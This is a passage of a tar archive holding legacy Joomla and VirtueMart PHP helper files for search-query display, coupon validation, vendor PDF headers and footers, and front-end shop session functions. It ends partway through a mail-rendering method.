			$html .= JHtml::calendar($query->date1, 'd1', 'filter_date1', '%Y-%m-%d', 'title="' . JText::_('COM_FINDER_FILTER_DATE1_DESC') . '"');
			$html .= '</li>';

			// End date filter.
			$html .= '<li class="filter-date' . $classSuffix . '">';
			$html .= '<label for="filter_date2">';
			$html .= JText::_('COM_FINDER_FILTER_DATE2');
			$html .= '</label>';
			$html .= '<br />';
			$html .= JHtml::_('select.genericlist', $operators, 'w2', 'class="inputbox filter-date-operator"', 'value', 'text', $query->when2, 'finder-filter-w2');
			$html .= JHtml::calendar($query->date2, 'd2', 'filter_date2', '%Y-%m-%d', 'title="' . JText::_('COM_FINDER_FILTER_DATE2_DESC') . '"');
			$html .= '</li>';

			// Close the widget.
			$html .= '</ul>';
		}

		return $html;
	}
}
��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������html/query.php��������������������������������������������������������������������������������������0000666�����������������00000010657�15137155135�0007411 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_finder
 *
 * @copyright   Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE
 */

defined('_JEXEC') or die;

/**
 * Query HTML behavior class for Finder.
 *
 * @package     Joomla.Site
 * @subpackage  com_finder
 * @since       2.5
 */
abstract class JHtmlQuery
{
	/**
	 * Method to get the explained (human-readable) search query.
	 *
	 * @param   FinderIndexerQuery  $query  A FinderIndexerQuery object to explain.
	 *
	 * @return  mixed  String if there is data to explain, null otherwise.
	 *
	 * @since   2.5
	 */
	public static function explained(FinderIndexerQuery $query)
	{
		$parts = array();

		// Process the required tokens.
		foreach ($query->included as $token)
		{
			if ($token->required && (!isset($token->derived) || $token->derived == false))
			{
				$parts[] = '<span class="query-required">' . JText::sprintf('COM_FINDER_QUERY_TOKEN_REQUIRED', $token->term) . '</span>';
			}
		}

		// Process the optional tokens.
		foreach ($query->included as $token)
		{
			if (!$token->required && (!isset($token->derived) || $token->derived == false))
			{
				$parts[] = '<span class="query-optional">' . JText::sprintf('COM_FINDER_QUERY_TOKEN_OPTIONAL', $token->term) . '</span>';
			}
		}

		// Process the excluded tokens.
		foreach ($query->excluded as $token)
		{
			if (!isset($token->derived) || $token->derived == false)
			{
				$parts[] = '<span class="query-excluded">' . JText::sprintf('COM_FINDER_QUERY_TOKEN_EXCLUDED', $token->term) . '</span>';
			}
		}

		// Process the start date.
		if ($query->date1)
		{
			$date = JFactory::getDate($query->date1)->format(JText::_('DATE_FORMAT_LC'));
			$parts[] = '<span class="query-start-date">' . JText::sprintf('COM_FINDER_QUERY_START_DATE', $query->when1, $date) . '</span>';
		}

		// Process the end date.
		if ($query->date2)
		{
			$date = JFactory::getDate($query->date2)->format(JText::_('DATE_FORMAT_LC'));
			$parts[] = '<span class="query-end-date">' . JText::sprintf('COM_FINDER_QUERY_END_DATE', $query->when2, $date) . '</span>';
		}

		// Process the taxonomy filters.
		if (!empty($query->filters))
		{
			// Get the filters in the request.
			$t = JFactory::getApplication()->input->request->get('t', array(), 'array');

			// Process the taxonomy branches.
			foreach ($query->filters as $branch => $nodes)
			{
				// Process the taxonomy nodes.
				$lang = JFactory::getLanguage();
				foreach ($nodes as $title => $id)
				{
					// Translate the title for Types
					$key = FinderHelperLanguage::branchPlural($title);
					if ($lang->hasKey($key)) {
						$title = JText::_($key);
					}

					// Don't include the node if it is not in the request.
					if (!in_array($id, $t))
					{
						continue;
					}

					// Add the node to the explanation.
					$bv = JString::strtolower($branch);
					$nv = JString::strtolower($title);
					$parts[] = '<span class="query-taxonomy">' . JText::sprintf('COM_FINDER_QUERY_TAXONOMY_NODE', $title, JText::_(FinderHelperLanguage::branchSingular($branch))) . '</span>';
				}
			}
		}

		// Build the interpreted query.
		return count($parts) ? JText::sprintf('COM_FINDER_QUERY_TOKEN_INTERPRETED', implode(JText::_('COM_FINDER_QUERY_TOKEN_GLUE'), $parts)) : null;
	}

	/**
	 * Method to get the suggested search query.
	 *
	 * @param   FinderIndexerQuery  $query  A FinderIndexerQuery object.
	 *
	 * @return  mixed  String if there is a suggestion, false otherwise.
	 *
	 * @since   2.5
	 */
	public static function suggested(FinderIndexerQuery $query)
	{
		$suggested = false;

		// Check if the query input is empty.
		if (empty($query->input))
		{
			return $suggested;
		}

		// Check if there were any ignored or included keywords.
		if (count($query->ignored) || count($query->included))
		{
			$suggested = $query->input;

			// Replace the ignored keyword suggestions.
			foreach (array_reverse($query->ignored) as $token)
			{
				if (isset($token->suggestion))
				{
					$suggested = str_replace($token->term, $token->suggestion, $suggested);
				}
			}

			// Replace the included keyword suggestions.
			foreach (array_reverse($query->included) as $token)
			{
				if (isset($token->suggestion))
				{
					$suggested = str_replace($token->term, $token->suggestion, $suggested);
				}
			}

			// Check if we made any changes.
			if ($suggested == $query->input)
			{
				$suggested = false;
			}
		}

		return $suggested;
	}
}
���������������������������������������������������������������������������������coupon.php������������������������������������������������������������������������������������������0000666�����������������00000013425�15137175763�0006610 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * Front-end Coupon handling functions
 *
 * @package	VirtueMart
 * @subpackage Helpers
 * @author Oscar van Eijk
 * @link http://www.virtuemart.net
 * @copyright Copyright (c) 2004 - 2010 VirtueMart Team. All rights reserved.
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
 * VirtueMart is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 * @version $Id: coupon.php 5460 2012-02-16 16:38:34Z alatak $
 */

// Check to ensure this file is included in Joomla!
defined('_JEXEC') or die('Restricted access');

abstract class CouponHelper
{

	/**
	 * Check if the given coupon code exists, is (still) valid and valid for the total order amount
	 * @param string $_code Coupon code
	 * @param float $_billTotal Total amount for the order
	 * @author Oscar van Eijk
	 * @author Max Milbers
	 * @return string Empty when the code is valid, otherwise the error message
	 */
	static public function ValidateCouponCode($_code, $_billTotal)
	{
		$couponData = 0;

		JPluginHelper::importPlugin('vmcoupon');
		$dispatcher = JDispatcher::getInstance();
		$returnValues = $dispatcher->trigger('plgVmValidateCouponCode', array($_code, $_billTotal));
		if(!empty($returnValues)){
			foreach ($returnValues as $returnValue) {
				if ($returnValue !== null  ) {
					//Take a look on this seyi, I am not sure about that, but it should work at least simular note by Max
					return $returnValue;
				}
			}
		}
		if(empty($couponData)){
			$_db = JFactory::getDBO();
			$_q = 'SELECT IF( NOW() >= `coupon_start_date` , 1, 0 ) AS started '
			. ', `coupon_start_date` '
			. ',  IFNULL(0, IF( NOW() > `coupon_expiry_date`, 1, 0 ) ) AS ended'
			. ', `coupon_value_valid` '
			. ', `coupon_used` '
			. 'FROM `#__virtuemart_coupons` '
			. 'WHERE `coupon_code` = "' . $_db->getEscaped($_code) . '"';
			$_db->setQuery($_q);
			$couponData = $_db->loadObject();
		}

		if (!$couponData) {
			return JText::_('COM_VIRTUEMART_COUPON_CODE_INVALID');
		}
		if ($couponData->coupon_used) {
			$session = JFactory::getSession();
			$session_id = $session->getId();
			if ($couponData->coupon_used != $session_id) {
				return JText::_('COM_VIRTUEMART_COUPON_CODE_INVALID');
			}
		}
		if (!$couponData->started) {
			return JText::_('COM_VIRTUEMART_COUPON_CODE_NOTYET') . $couponData->coupon_start_date;
		}
		if ($couponData->ended) {
			self::RemoveCoupon($_code, true);
			return JText::_('COM_VIRTUEMART_COUPON_CODE_EXPIRED');
		}

		if ($_billTotal < $couponData->coupon_value_valid) {
			if (!class_exists('CurrencyDisplay'))
			    require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'currencydisplay.php');
			$currency = CurrencyDisplay::getInstance();

			$coupon_value_valid = $currency->priceDisplay($couponData->coupon_value_valid);
			return JText::_('COM_VIRTUEMART_COUPON_CODE_TOOLOW') . " ".$coupon_value_valid;
		}

		return '';
	}

	/**
	 * Get the details for a given coupon
	 * @param string $_code Coupon code
	 * @author Oscar van Eijk
	 * @return object Coupon details
	 */
	static public function getCouponDetails($_code)
	{
		$_db = JFactory::getDBO();
		$_q = 'SELECT `percent_or_total` '
			. ', `coupon_type` '
			. ', `coupon_value` '
			. 'FROM `#__virtuemart_coupons` '
			. 'WHERE `coupon_code` = "' . $_db->getEscaped($_code) . '"';
		$_db->setQuery($_q);
		return $_db->loadObject();
	}

	/**
	 * Remove a coupon from the database
	 * @param $_code Coupon code
	 * @param $_force True if the remove is forced. By default, only gift coupons are removed
	 * @author Oscar van Eijk
	 * @return boolean True on success
	 */
	static public function RemoveCoupon($_code, $_force = false)
	{
		JPluginHelper::importPlugin('vmcoupon');
		$dispatcher = JDispatcher::getInstance();
		$returnValues = $dispatcher->trigger('plgVmRemoveCoupon', array($_code, $_force));
		if(!empty($returnValues)){
			foreach ($returnValues as $returnValue) {
				if ($returnValue !== null  ) {
					//Take a look on this seyi, I am not sure about that, but it should work at least simular note by Max
					//$couponData = $returnValue;
					return $returnValue;
				}
			}
		}

		if ($_force !== true) {
			$_data = self::getCouponDetails($_code);
			if ($_data->coupon_type != 'gift') {
				return true;
			}
		}
		$_db = JFactory::getDBO();
		$_q = 'DELETE FROM `#__virtuemart_coupons` '
			. 'WHERE `coupon_code` = "' . $_db->getEscaped($_code) . '"';
		$_db->setQuery($_q);
		return ($_db->query() !== false);
	}
	/**
	 * Remove a coupon from the database
	 * @param $_code Coupon code
	 * @param $_force True if the remove is forced. By default, only gift coupons are removed
	 * @author Valérie Isaksen
	 * @return boolean True on success
	 */
	static public function setInUseCoupon($code, $in_use=true){

		JPluginHelper::importPlugin('vmcoupon');
		$dispatcher = JDispatcher::getInstance();
		$returnValues = $dispatcher->trigger('plgVmCouponInUse', array($code));
		if(!empty($returnValues)){
			foreach ($returnValues as $returnValue) {
				if ($returnValue !== null  ) {
					return $returnValue;
				}
			}
		}
		$session = JFactory::getSession();
		$coupon_used = $session->getId();
		$db = JFactory::getDBO();
		if (!$in_use) {
			$db = JFactory::getDBO();
			$q = 'SELECT `coupon_used` '
				. 'FROM `#__virtuemart_coupons` '
				. 'WHERE `coupon_code` = "' . $db->getEscaped($code) . '"';
			$db->setQuery($q);
			$coupon_session_id=$db->loadResult();
			if ($coupon_used !=$coupon_session_id) {
				return;
			}
			$coupon_used=0;
		}


		$q = 'UPDATE `#__virtuemart_coupons` SET `coupon_used` = "' . $coupon_used . '" WHERE `coupon_type`= \'gift\' AND `coupon_code` = "' . $db->getEscaped($code) . '"';
		$db->setQuery($q);

		return ($db->query() !== false);
	}
}
�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vmpdf.php�������������������������������������������������������������������������������������������0000666�����������������00000033732�15137175763�0006424 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
defined('_JEXEC') or die('');
/**
 * abstract controller class containing get,store,delete,publish and pagination
 *
 *
 * This class provides the functions for the calculatoins
 *
 * @package	VirtueMart
 * @subpackage Helpers
 * @author Max Milbers
 * @copyright Copyright (c) 2011 VirtueMart Team. All rights reserved.
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
 * VirtueMart is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 * See /administrator/components/com_virtuemart/COPYRIGHT.php for copyright notices and details.
 *
 * http://virtuemart.net
 */

if (!class_exists( 'VmConfig' )) require(JPATH_ADMINISTRATOR . DS . 'components' . DS . 'com_virtuemart'.DS.'helpers'.DS.'config.php');
VmConfig::loadConfig();
if(!class_exists('VmModel')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'vmmodel.php');
if(!class_exists('shopFunctions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'shopfunctions.php');
if (!class_exists('VmImage')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'image.php');

class VmPdf {
	/** Function to create a nice vendor-styled PDF for the output of the given view.
	    The $path and $dest arguments are directly passed on to TCPDF::Output. 
	    To create a PDF directly from a given HTML (i.e. not through a view), one
	    can directly use the VmVendorPDF class, see VirtueMartControllerInvoice::samplePDF */
	static function createVmPdf($view, $path='', $dest='F', $meta=array()) {
		if(!$view){
			// TODO: use some default view???
			return;
		}

		if(!class_exists('VmVendorPDF')){
			vmError('vmPdf: For the pdf, you must install the tcpdf library at '.JPATH_VM_LIBRARIES.DS.'tcpdf');
			return 0;
		}

		$pdf = new VmVendorPDF();
		if (isset($meta['title'])) $pdf->SetTitle($meta['title']);
		if (isset($meta['subject'])) $pdf->SetSubject($meta['subject']);
		if (isset($meta['keywords'])) $pdf->SetKeywords($meta['keywords']);
		// Make the formatter available, just in case some specialized view wants/needs it
		$view->pdf_formatter = $pdf;

		ob_start();
		$view->display();
		$html = ob_get_contents();
		ob_end_clean();

		$pdf->AddPage();
		$pdf->PrintContents($html);

		// Close and output PDF document
		// This method has several options, check the source code documentation for more information.
		$pdf->Output($path, $dest);
		return $path;
	}
}


if(!file_exists(JPATH_VM_LIBRARIES.DS.'tcpdf'.DS.'tcpdf.php')){
	vmError('VmPDF helper: For the PDF invoice and other PDF business letters, you must install the tcpdf library at '.JPATH_VM_LIBRARIES.DS.'tcpdf');
} else {
	if(!class_exists('TCPDF'))require(JPATH_VM_LIBRARIES.DS.'tcpdf'.DS.'tcpdf.php');
	// Extend the TCPDF class to create custom Header and Footer as configured in the Backend
	class VmVendorPDF extends TCPDF {
		var $vendor = 0;
		var $vendorImage = '';
		var $vendorAddress = '';
		var $css = '';
		var $virtuemart_vendor_id = 1;

		public function __construct() {
			// Load the vendor, so we have the data for the header/footer...
			// The images are NOT loaded by default, so do it manually, just in case
			$vendorModel = VmModel::getModel('vendor');
			$this->vendor = $vendorModel->getVendor($this->virtuemart_vendor_id);
			$vendorModel->addImages($this->vendor,1);
			$this->vendor->vendorFields = $vendorModel->getVendorAddressFields();
			
			parent::__construct($this->vendor->vendor_letter_orientation, 'mm', $this->vendor->vendor_letter_format);

			$this->css = $this->vendor->vendor_letter_css;
			
			// set document information
			$this->SetCreator(JText::_('COM_VIRTUEMART_PDF_CREATOR'));
			if(empty($this->vendor->images[0])){
				vmError('Vendor image given path empty ');
			} else if(empty($this->vendor->images[0]->file_url_folder) or empty($this->vendor->images[0]->file_name) or empty($this->vendor->images[0]->file_extension) ){
				vmError('Vendor image given image is not complete '.$this->vendor->images[0]->file_url_folder.$this->vendor->images[0]->file_name.'.'.$this->vendor->images[0]->file_extension);
				vmdebug('Vendor image given image is not complete, the given media',$this->vendor->images[0]);
			} else if(!empty($this->vendor->images[0]->file_extension) and strtolower($this->vendor->images[0]->file_extension)=='png'){
				vmError('Warning extension of the image is a png, tpcdf has problems with that in the header, choose a jpg or gif');
			} else {
				$imagePath = str_replace('/',DS, $this->vendor->images[0]->file_url_folder.$this->vendor->images[0]->file_name.'.'.$this->vendor->images[0]->file_extension);
				if(!file_exists(JPATH_ROOT . DS . $imagePath)){
					vmError('Vendor image missing '.$imagePath);
				} else {
					$this->vendorImage=$imagePath;
				}
			}

			if (!class_exists ('JFile')) {
				require(JPATH_VM_LIBRARIES . DS . 'joomla' . DS . 'filesystem' . DS . 'file.php');
			}
			$tcpdf6 = JFile::exists(JPATH_VM_LIBRARIES.DS.'tcpdf'.DS.'include'.DS.'tcpdf_color.php');
			if($tcpdf6){
				$getAllSpotColors = TCPDF::getAllSpotColors();
				$vlfooterlcolor = TCPDF_COLORS::convertHTMLColorToDec($this->vendor->vendor_letter_footer_line_color,$getAllSpotColors);
			} else {
				$vlfooterlcolor = $this->convertHTMLColorToDec($this->vendor->vendor_letter_footer_line_color);
			}

			$this->setHeaderData(($this->vendor->vendor_letter_header_image?$this->vendorImage:''),
					     ($this->vendor->vendor_letter_header_image?$this->vendor->vendor_letter_header_imagesize:0), 
					     '', $this->vendor->vendor_letter_header_html,
					     array(0,0,0),$vlfooterlcolor );
			$this->vendorAddress = shopFunctions::renderVendorAddress($this->vendor->virtuemart_vendor_id, "<br/>");
			// Trim the final <br/> from the address, which is inserted by renderVendorAddress automatically!
			if (substr($this->vendorAddress, -5, 5) == '<br/>') {
				$this->vendorAddress = substr($this->vendorAddress, 0, -5);
			}

			$vmFont=$this->vendor->vendor_letter_font;
			$this->SetFont($vmFont, '', $this->vendor->vendor_letter_font_size, '', 'false');                 
			$this->setHeaderFont(Array($vmFont, '', $this->vendor->vendor_letter_header_font_size ));
			$this->setFooterFont(Array($vmFont, '', $this->vendor->vendor_letter_footer_font_size ));

			// Remove all vertical margins and padding from the HTML cells (default is excessive padding):
			$this->SetCellPadding(0);
			$tagvs = array('p' => array(0 => array('h' => 0, 'n' => 0), 1 => array('h' => 0, 'n' => 0)),
				'div' => array(0 => array('h' => 0, 'n' => 0), 1 => array('h' => 0, 'n' => 0)),
				'h1' => array(0 => array('h' => 0, 'n' => 0), 1 => array('h' => 0, 'n' => 0)),
				'h2' => array(0 => array('h' => 0, 'n' => 0), 1 => array('h' => 0, 'n' => 0)),
				'h3' => array(0 => array('h' => 0, 'n' => 0), 1 => array('h' => 0, 'n' => 0)),
				'table' => array(0 => array('h' => 0, 'n' => 0), 1 => array('h' => 0, 'n' => 0)),
				);
			$this->setHtmlVSpace($tagvs);
			
			// set default font subsetting mode
			$this->setFontSubsetting(true);
			// set default monospaced font
// 			$this->SetDefaultMonospacedFont(PDF_FONT_MONOSPACED);

			//set margins
			$this->SetMargins($this->vendor->vendor_letter_margin_left, $this->vendor->vendor_letter_margin_top, $this->vendor->vendor_letter_margin_right);	
			$this->SetHeaderMargin($this->vendor->vendor_letter_margin_header);
			$this->SetFooterMargin($this->vendor->vendor_letter_margin_footer);
			$this->SetAutoPageBreak(TRUE, $this->vendor->vendor_letter_margin_bottom);

			//set image scale factor
			$this->setImageScale(PDF_IMAGE_SCALE_RATIO);

			//TODO include the right file (in libraries/tcpdf/config/lang set some language-dependent strings
			$l='';
			$this->setLanguageArray($l);

		}


		/** Replace variables like {vm:page}, {vm:pagecount} etc. in the given string 
		 */
		function replace_variables($txt) {
			// TODO: Implement more Placeholders (ordernr, invoicenr, etc.)
			// Use PageNo rather than getAliasNumPage, since the alias will be misaligned (spaced like the {:npn:} text rather than the final number)
			$txt = str_replace('{vm:pagenum}', $this->/*getAliasNumPage*/PageNo(), $txt);
			// Can't use getNumPages, because when this is evaluated, we don't know the final number of pages (getNumPages is always equal to the current page numbe)
			$txt = str_replace('{vm:pagecount}', $this->getAliasNbPages/*getNumPages*/(), $txt);
			$txt = str_replace('{vm:vendorname}', $this->vendor->vendor_store_name, $txt);
			$imgrepl='';
			if (!empty($this->vendor->images)) {
				$img = $this->vendor->images[0];
				$imgrepl = "<div class=\"vendor-image\">".$img->displayIt($img->file_url,'','',false, '', false, false)."</div>";
			}
			$txt = str_replace('{vm:vendorimage}', $imgrepl, $txt);
			$txt = str_replace('{vm:vendoraddress}', $this->vendorAddress, $txt);
			$txt = str_replace('{vm:vendorlegalinfo}', $this->vendor->vendor_legal_info, $txt);
			$txt = str_replace('{vm:vendordescription}', $this->vendor->vendor_store_desc, $txt);
			$txt = str_replace('{vm:tos}', $this->vendor->vendor_terms_of_service, $txt);
			return "$txt";
		}
		
		public function PrintContents($html) {
			$contents = $this->replace_variables ($html);
			$this->writeHTMLCell($w=0, $h=0, $x='', $y='', $contents, $border=0, $ln=1, $fill=0, $reseth=true, $align='', $autopadding=true);
		}

		public function Footer() {

			if ($this->vendor->vendor_letter_footer == 1) {
				$footertxt = '<style>' . $this->css . '</style>';
				$footertxt .= '<div id="vmdoc-footer" class="vmdoc-footer">' . $this->replace_variables($this->vendor->vendor_letter_footer_html) . '</div>';

				$currentCHRF = $this->getCellHeightRatio();
				$this->setCellHeightRatio($this->vendor->vendor_letter_footer_cell_height_ratio);


				if (!class_exists ('JFile')) {
					require(JPATH_VM_LIBRARIES . DS . 'joomla' . DS . 'filesystem' . DS . 'file.php');
				}
				$tcpdf6 = JFile::exists(JPATH_VM_LIBRARIES.DS.'tcpdf'.DS.'include'.DS.'tcpdf_color.php');
				if($tcpdf6){
					$getAllSpotColors = TCPDF::getAllSpotColors();
					$vlfooterlcolor = TCPDF_COLORS::convertHTMLColorToDec($this->vendor->vendor_letter_footer_line_color,$getAllSpotColors);
				} else {
					$vlfooterlcolor = $this->convertHTMLColorToDec($this->vendor->vendor_letter_footer_line_color);
				}

				//set style for cell border
				$border = 0;
				if ($this->vendor->vendor_letter_footer_line == 1) {
					$line_width = 0.85 / $this->getScaleFactor();
					$this->SetLineStyle(array('width' => $line_width, 'cap' => 'butt', 'join' => 'miter', 'dash' => 0, 'color' => $vlfooterlcolor));
					$border = 'T';
				}
			
				// TODO: Implement cell_height
// 				$cell_height = round(($this->getCellHeightRatio() * $footerfont[2]) / $this->getScaleFactor(), 2);
				$cell_height=1;
		
		
				$this->writeHTMLCell(0, $cell_height, '', '', $footertxt, $border, 1, 0, true, '', true);
				// Set it back
				$this->setCellHeightRatio($currentCHRF);
			}
		}

	public function Header() {
		if ($this->vendor->vendor_letter_header != 1) return;
		if ($this->header_xobjid < 0) {
			// start a new XObject Template
			$this->header_xobjid = $this->startTemplate($this->w, $this->tMargin);
			$headerfont = $this->getHeaderFont();
			$headerdata = $this->getHeaderData();
			$this->y = $this->header_margin;
			
			$headertxt = '<style>' . $this->css . '</style>';
			$headertxt .= '<div id="vmdoc-header" class="vmdoc-header">' . $this->replace_variables($headerdata['string']) . '</div>';
			$currentCHRF = $this->getCellHeightRatio();
			$this->setCellHeightRatio($this->vendor->vendor_letter_header_cell_height_ratio);

			if ($this->rtl) {
				$this->x = $this->w - $this->original_rMargin;
			} else {
				$this->x = $this->original_lMargin;
			}
			$header_x = (($this->getRTL())?($this->original_rMargin):($this->original_lMargin));
			$cw = $this->w - $this->original_lMargin - $this->original_rMargin;
			if (($headerdata['logo']) AND ($headerdata['logo'] != K_BLANK_IMAGE)) {
				$imgtype = $this->getImageFileType(K_PATH_IMAGES.DS.$headerdata['logo']);
				if (($imgtype == 'eps') OR ($imgtype == 'ai')) {
					$this->ImageEps(K_PATH_IMAGES.DS.$headerdata['logo'], '', '', $headerdata['logo_width']);
				} elseif ($imgtype == 'svg') {
					$this->ImageSVG(K_PATH_IMAGES.DS.$headerdata['logo'], '', '', $headerdata['logo_width']);
				} else {
					$this->Image(K_PATH_IMAGES.DS.$headerdata['logo'], '', '', $headerdata['logo_width']);
				}
				$imgy = $this->getImageRBY();
				$header_x +=  ($headerdata['logo_width'] * 1.1);
				$cw -= ($headerdata['logo_width'] * 1.1);
			} else {
				$imgy = $this->y;
			}
// 			$cell_height = round(($this->cell_height_ratio * $headerfont[2]) / $this->k, 2);
			// set starting margin for text data cell
			$this->SetTextColorArray($this->header_text_color);
			// header string
			$this->SetFont($headerfont[0], $headerfont[1], $headerfont[2]);
			$this->SetX($header_x);
			
			$this->writeHTMLCell($cw, /*$cell_height*/0, $this->x, $this->header_margin, $headertxt, '', /*$ln=*/2, false, /*$reseth*/true, '', /*$autopadding=*/true);
			// print an ending header line
			if ($this->vendor->vendor_letter_header_line == 1) {
				$this->SetLineStyle(array('width' => 0.85 / $this->k, 'cap' => 'butt', 'join' => 'miter', 'dash' => 0, 'color' => $headerdata['line_color']));
				$this->SetY(max($imgy,$this->y));
				if ($this->rtl) {
					$this->SetX($this->original_rMargin);
				} else {
					$this->SetX($this->original_lMargin);
				}
				$this->Cell(($this->w - $this->original_lMargin - $this->original_rMargin), 0, '', 'T', 0, 'C');
			}
			$this->setCellHeightRatio($currentCHRF);
			$this->endTemplate();
		}
		// print header template
		$x = 0;
		$dx = 0;
		if (!$this->header_xobj_autoreset AND $this->booklet AND (($this->page % 2) == 0)) {
			// adjust margins for booklet mode
			$dx = ($this->original_lMargin - $this->original_rMargin);
		}
		if ($this->rtl) {
			$x = $this->w + $dx;
		} else {
			$x = 0 + $dx;
		}
		$this->printTemplate($this->header_xobjid, $x, 0, 0, 0, '', '', false);
		if ($this->header_xobj_autoreset) {
			// reset header xobject template at each page
			$this->header_xobjid = -1;
		}
	}

	}

}

��������������������������������������shopfunctionsf.php����������������������������������������������������������������������������������0000666�����������������00000060570�15137175763�0010360 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 *
 * Contains shop functions for the front-end
 *
 * @package    VirtueMart
 * @subpackage Helpers
 *
 * @author RolandD
 * @author Max Milbers
 * @link http://www.virtuemart.net
 * @copyright Copyright (c) 2004 - 2010 VirtueMart Team. All rights reserved.
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
 * VirtueMart is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 * @version $Id: shopfunctionsf.php 6502 2012-10-04 13:19:26Z Milbo $
 */

// Check to ensure this file is included in Joomla!
defined( '_JEXEC' ) or die('Restricted access');


class shopFunctionsF {

	/**
	 *
	 */

	static public function getLoginForm ($cart = FALSE, $order = FALSE, $url = 0) {

		if(!class_exists( 'VirtuemartViewUser' )) require(JPATH_VM_SITE.DS.'views'.DS.'user'.DS.'view.html.php');
		$view = new VirtuemartViewUser();
		$view->setLayout( 'login' );

		$body = '';
		$show = TRUE;

		if($cart) {
			$show = VmConfig::get( 'oncheckout_show_register', 1 );
		}
		if($show == 1) {

			$view->assignRef( 'show', $show );

			$view->assignRef( 'order', $order );
			$view->assignRef( 'from_cart', $cart );
			$view->assignRef( 'url', $url );
			ob_start();
			$view->display();
			$body = ob_get_contents();
			ob_end_clean();
		}

		return $body;
	}

	/**
	 * @author Max Milbers
	 */
	static public function getLastVisitedCategoryId ($default = 0) {

		$session = JFactory::getSession();
		return $session->get( 'vmlastvisitedcategoryid', $default, 'vm' );

	}

	/**
	 * @author Max Milbers
	 */
	static public function setLastVisitedCategoryId ($categoryId) {

		$session = JFactory::getSession();
		return $session->set( 'vmlastvisitedcategoryid', (int)$categoryId, 'vm' );

	}

	/**
	 * @author Max Milbers
	 */
	static public function getLastVisitedManuId () {

		$session = JFactory::getSession();
		return $session->get( 'vmlastvisitedmanuid', 0, 'vm' );

	}

	/**
	 * @author Max Milbers
	 */
	static public function setLastVisitedManuId ($manuId) {

		$session = JFactory::getSession();
		return $session->set( 'vmlastvisitedmanuid', (int)$manuId, 'vm' );

	}

	static public function getAddToCartButton ($orderable) {

		if($orderable) {
			$html = '<input type="submit" name="addtocart" class="addtocart-button" value="'.JText::_( 'COM_VIRTUEMART_CART_ADD_TO' ).'" title="'.JText::_( 'COM_VIRTUEMART_CART_ADD_TO' ).'" />';
		} else {
			$html = '<input name="addtocart" class="addtocart-button-disabled" value="'.JText::_( 'COM_VIRTUEMART_ADDTOCART_CHOOSE_VARIANT' ).'" title="'.JText::_( 'COM_VIRTUEMART_ADDTOCART_CHOOSE_VARIANT' ).'" />';
		}
		return $html;
	}

	/**
	 *
	 * @author Max Milbers
	 */
	static public function addProductToRecent ($productId) {

		$session = JFactory::getSession();
		$products_ids = $session->get( 'vmlastvisitedproductids', array(), 'vm' );
		$key = array_search( $productId, $products_ids );
		if($key !== FALSE) {
			unset($products_ids[$key]);
		}
		array_unshift( $products_ids, $productId );
		$products_ids = array_unique( $products_ids );

		$recent_products_rows = VmConfig::get('recent_products_rows', 1);
		$products_per_row = VmConfig::get('homepage_products_per_row',3);
		$maxSize = $products_per_row * $recent_products_rows;
		if(count( $products_ids )>$maxSize) {
			array_splice( $products_ids, $maxSize );
		}

		return $session->set( 'vmlastvisitedproductids', $products_ids, 'vm' );
	}

	/**
	 * Gives ids the recently by the shopper visited products
	 *
	 * @author Max Milbers
	 */
	public function getRecentProductIds () {

		$session = JFactory::getSession();
		return $session->get( 'vmlastvisitedproductids', array(), 'vm' );
	}


	/**
	 * function to create a hyperlink
	 *
	 * @author RolandD
	 * @param string $link
	 * @param string $text
	 * @param string $target
	 * @param string $title
	 * @param array $attributes
	 * @return string
	 */
	public function hyperLink ($link, $text, $target = '', $title = '', $attributes = '') {

		$options = array();
		if($target) {
			$options['target'] = $target;
		}
		if($title) {
			$options['title'] = $title;
		}
		if($attributes) {
			$options = array_merge( $options, $attributes );
		}
		return JHTML::_( 'link', $link, $text, $options );
	}

	/**
	 * A function to create a XHTML compliant and JS-disabled-safe pop-up link
	 *
	 * @author RolandD
	 * @param string $link The HREF attribute
	 * @param string $text The link text
	 * @param int $popupWidth
	 * @param int $popupHeight
	 * @param string $target The value of the target attribute
	 * @param string $title
	 * @param string $windowAttributes
	 * @return string
	 */
	public function vmPopupLink ($link, $text, $popupWidth = 640, $popupHeight = 480, $target = '_blank', $title = '', $windowAttributes = '') {

		if($windowAttributes) {
			$windowAttributes = ','.$windowAttributes;
		}
		return self::hyperLink( $link, $text, '', $title, array("onclick" => "void window.open('$link', '$target', 'status=no,toolbar=no,scrollbars=yes,titlebar=no,menubar=no,resizable=yes,width=$popupWidth,height=$popupHeight,directories=no,location=no".$windowAttributes."');return false;") );

	}


	/**
	 * Prepares a view for rendering email, then renders and sends
	 *
	 * @param object $controller
	 * @param string $viewName View which will render the email
	 * @param string $recipient shopper@whatever.com
	 * @param array $vars variables to assign to the view
	 */
	//TODO this is quirk, why it is using here $noVendorMail, but everywhere else it is using $doVendor => this make logic trouble
	static public function renderMail ($viewName, $recipient, $vars = array(), $controllerName = NULL, $noVendorMail = FALSE,$useDefault=true) {

